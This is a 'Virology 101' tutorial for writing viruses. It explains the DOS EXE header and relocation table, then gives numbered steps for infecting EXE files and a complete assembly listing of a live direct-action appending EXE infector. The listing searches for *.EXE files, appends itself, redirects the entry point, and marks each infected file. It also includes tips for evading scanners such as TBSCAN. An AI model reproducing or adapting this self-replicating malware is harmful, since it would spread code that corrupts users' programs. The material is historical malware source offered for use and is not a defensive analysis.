VIRIOLOGY 101 Author Unknown COM files are generally only written as quick utilities or as pieces of an operating system - especially today, they just aren't practical for large applications. Because of this, they provide a rather limited medium over which a virus can spread. EXE files, however, are more common in most DOS-based systems and offer viruses a better chance of survival. Infecting EXE files, however, is a little more complex than infecting COM's. Let us first take a look at exactly how an EXE is structured. First off, unlike the COM files, EXE's are NOT a direct memory image of the program. At the start of their code in a file, they have what is called the EXE Header. This header is used to tell DOS things like where execution should start within the file (not necessarily at the beginning), where the stack should be, etc. After the header is what's called the Relocation Table. In most small .EXE files, this is empty. For any .EXE larger than 64k, and several below, this table plays a vital part in loading. The way it works is this: When DOS executes an EXE, it chooses the first free segment in memory. Then, like with COM's, it loads the PSP into that segment. Unlike COM's, with EXE files DOS adds 10h to CS, leaving ES and DS to point at the PSP segment. This means that the the program (excluding header) begins at CS:0000, where the PSP is set at [CS-10h]:0000. After the initial loading, it still must make use of the relocation table. The relocation table stores a list of pointers, each pointing to an address within the program. At each of these addresses is one of several absolute addressing commands that need to be adjusted for the segment that DOS initiates the program at. DOS goes through this table and adds the beginning segment of the program to each address. For example, in a file there is the following command: JMP 0000:0123 The file is loaded with the PSP at 10AB:0000 in memory, making the program start at 10BB:0000. After relocation by DOS, the command reads the following: JMP 10BB:0123 An important thing to remember is that only the commands indicated in the relocation table will be changed in this method. This means you can just write a virus in one segment, avoiding any far calls within the code (except to static locations - DOS, for example). Some, however, do wish to use far calls and must modify the relocation table. Now that we've looked at basically how DOS loads EXE files, let's take a closer look at the EXE header, as it is the most important part for viruses. The structure is as follows: EXE Header Format ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³00 EXE Signature ³ Usually 'MZ' but can be 'ZM' ³ ³02 Length of Last Page ³ In bytes ³ ³04 Size of File ³ In 512 byte pages, rounded up. ³ ³06 # of Rel. Tbl. Items³ ³ ³08 Size of EXE Header ³ 16 byte paragraphs. ³ ³0A MINALLOC ³ Minimum memory allocated to file ³ ³0C MAXALLOC ³ Maximum memory allocated to file ³ ³0E Initial SS ³ Initial stack segment, relative to ³ ³ ³ the beginning of the file. ³ ³10 Initial SP ³ Initial offset of stack pointer ³ ³12 Negative Checksum ³ Generally unused - Good place ³ ³ ³ for ID bytes (overused though) ³ ³14 Initial IP ³ Initial execution offset ³ ³16 Initial CS ³ Initial execution segment, relative ³ ³ ³ to start of program. ³ ³18 First Reloc. Item ³ Pointer to relocation table ³ ³1A Overlay Number ³ Overlay Marker ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ To infect an .EXE file using the generic appending method, one must do the following: 1.) Make sure it is an .EXE file, not just misnamed, by checking the ID signature for 'MZ'. 2.) Store important registers from header that will be changed such as CS, IP, SS, and SP. 2.) Append the code to the end. 3.) Set CS:IP to point to viral code. 4.) Set SS:SP to be a viable location - make sure that you aren't going to push data over yourself or the host program! This is also a good place to set predictable values (in SP) for infection marking. (NOTE: TBSCAN and some others check for odd- numbered stacks when looking for viruses.) 5.) Recalculate the file size. Store as pages (rounding up) at offset 04 in header, then store the number of bytes in the last page at offset 02. 6.) If you are using far calls within code that need to be adjusted by the relocation table (NOT recommended) then the addresses should be added to the reloc. table at this point. BE SURE THAT THERE IS ENOUGH SPACE IN THE TABLE, OR ENLARGE THE TABLE! Also, adjust the "# of relocation table items" field appropriately. Notice that doing all this is a pain and generally not all that useful. 7.) Restore control to Host by resetting stack to original value, then setting CS:IP to point to old starting point. MAKE SURE TO SET ES AND DS TO POINT AT PSP. Also remember that the returning CS and SS must be adjusted by adding ES+10 to each. Now that we have learned the basics, let's check out the next virus. It is also a direct-action infector, but this one infects only EXE files. Notice that the code is based on the direct-action COM file presented earlier. ; This file is a direct-action appending .EXE infector ;written in TASM - compatible assembler for the IBM PC. ;It is presented as a part of VIROLOGY 101 (c) 1993 Black Wolf. ;It is a live virus, and should NOT be released. Please execute ;the virus only on isolated machines under controlled conditions. .model tiny .radix 16 ;Default into Hexidecimal .code org 100 start: push ds ;Save old offset push cs cs ;Set ES = DS = CS pop es ds ;for data accessing. call get_offset ;This places the displace- get_offset: ;ment of the virus from pop bp ;its original compilation sub bp,offset get_offset ;into BP. Reset_Variables: ;Reset Old_XX values for lea di,[Store_IP+bp] ;new infection. lea si,[Old_IP+bp] movsw movsw movsw movsw Set_DTA: lea dx,[New_DTA+bp] ;Set DTA to the after mov ah,1a ;virus int 21 mov ah,4e xor cx,cx ;Look only for normal ;attribs lea dx,[File_Mask+bp] ;Search for all files ;matching '*.COM' Find_File: int 21 jc No_More_Files mov ax,3d02 lea dx,[New_DTA+1e+bp] ;offset 1eh in DTA = ;filename int 21 ;Open file for read/write ;access xchg bx,ax ;Put File handle into BX mov ah,3f mov cx,1a lea dx,[exe_header+bp] ;Read in EXE header. int 21 cmp word ptr [exe_header+bp],'ZM' ;Standard EXE mark. jne close_file ;Quit, misnamed cmp byte ptr [exe_header+bp+12],'V' ;Check infection je close_file ;mark in checksum ;field. call Save_Old_Header mov ax,4202 ;Go to the end of the file. xor cx,cx ;This function returns xor dx,dx ;file size into int 21 ;DX:AX push ax dx call calculate_CSIP ;calculate starting ;point. pop dx ax ;DX:AX = uninfected ;file size. call calculate_size ;calculate file size for ;header mov ah,40 ;Write virus to the end mov cx,end_virus-start ;of the file. lea dx,[bp+start] int 21 mov ax,4200 ;Return to the beginning xor cx,cx ;of the file. xor dx,dx int 21 mov ah,40 ;Write header to the mov cx,1a ;beginning of file. lea dx,[bp+exe_header] int 21 mov ah,3e int 21 jmp No_More_Files ;Only infect one each time Close_File: ;Close current file mov ah,3e int 21 ;Close file, then ;go to find another Find_Next_File: ;file. mov ah,4f jmp Find_File No_More_Files: ;Reset DTA to original location pop ds ;Get PSP segment mov dx,80 mov ah,1a int 21 Restore_To_Host: push ds ;Restore ES = DS = PSP pop es mov ax,es add ax,10 ;add ajustment for PSP add word ptr cs:[Store_CS+bp],ax ;Adjust old CS by ;current seg cli add ax,word ptr cs:[bp+Store_SS] ;Adjust old SS mov ss,ax ;Restore stack to mov sp,word ptr cs:[bp+Store_SP] ;original position sti db 0ea ;Simulate far jump to Store_CS:Store_IP Store_IP dw 0 Store_CS dw 0 Store_SP dw 0 Store_SS dw 0 Old_IP dw 0 Old_CS dw 0fff0 ;Initially points to an Old_SP dw 0 ;INT 20 in PSP for first Old_SS dw 0fff0 ;run. Save_Old_Header: mov ax,word ptr [exe_header+bp+0e] ;Save old SS mov word ptr [Old_SS+bp],ax mov ax,word ptr [exe_header+bp+10] ;Save old SP mov word ptr [Old_SP+bp],ax mov ax,word ptr [exe_header+bp+14] ;Save old IP mov word ptr [Old_IP+bp],ax mov ax,word ptr [exe_header+bp+16] ;Save old CS mov word ptr [Old_CS+bp],ax ret calculate_CSIP: push ax mov ax,word ptr [exe_header+bp+8] ;Get header length mov cl,4 ;and convert it to shl ax,cl ;bytes. mov cx,ax pop ax sub ax,cx ;Subtract header sbb dx,0 ;size from file ;size for memory ;adjustments mov cl,0c ;Convert DX into shl dx,cl ;segment Address mov cl,4 push ax ;Change offset (AX) into shr ax,cl ;segment, except for last add dx,ax ;digit. Add to DX and shl ax,cl ;save DX as new CS, put pop cx ;left over into CX and sub cx,ax ;store as the new IP. mov word ptr [exe_header+bp+14],cx mov word ptr [exe_header+bp+16],dx ;Set new CS:IP mov word ptr [exe_header+bp+0e],dx ;Set new SS = CS mov word ptr [exe_header+bp+10],0fffe ;Set new SP mov byte ptr [exe_header+bp+12],'V' ;mark infection ret calculate_size: push ax ;Save offset for later add ax,end_virus-start ;Add virus size to DX:AX adc dx,0 mov cl,7 shl dx,cl ;convert DX to pages mov cl,9 shr ax,cl add ax,dx inc ax mov word ptr [exe_header+bp+04],ax ;save # of pages pop ax ;Get offset mov dx,ax shr ax,cl ;Calc remainder shl ax,cl ;in last page sub dx,ax mov word ptr [exe_header+bp+02],dx ;save remainder ret File_Mask db '*.EXE',0 ;File mask used for search end_virus: exe_header db 1a dup (?) New_DTA: end start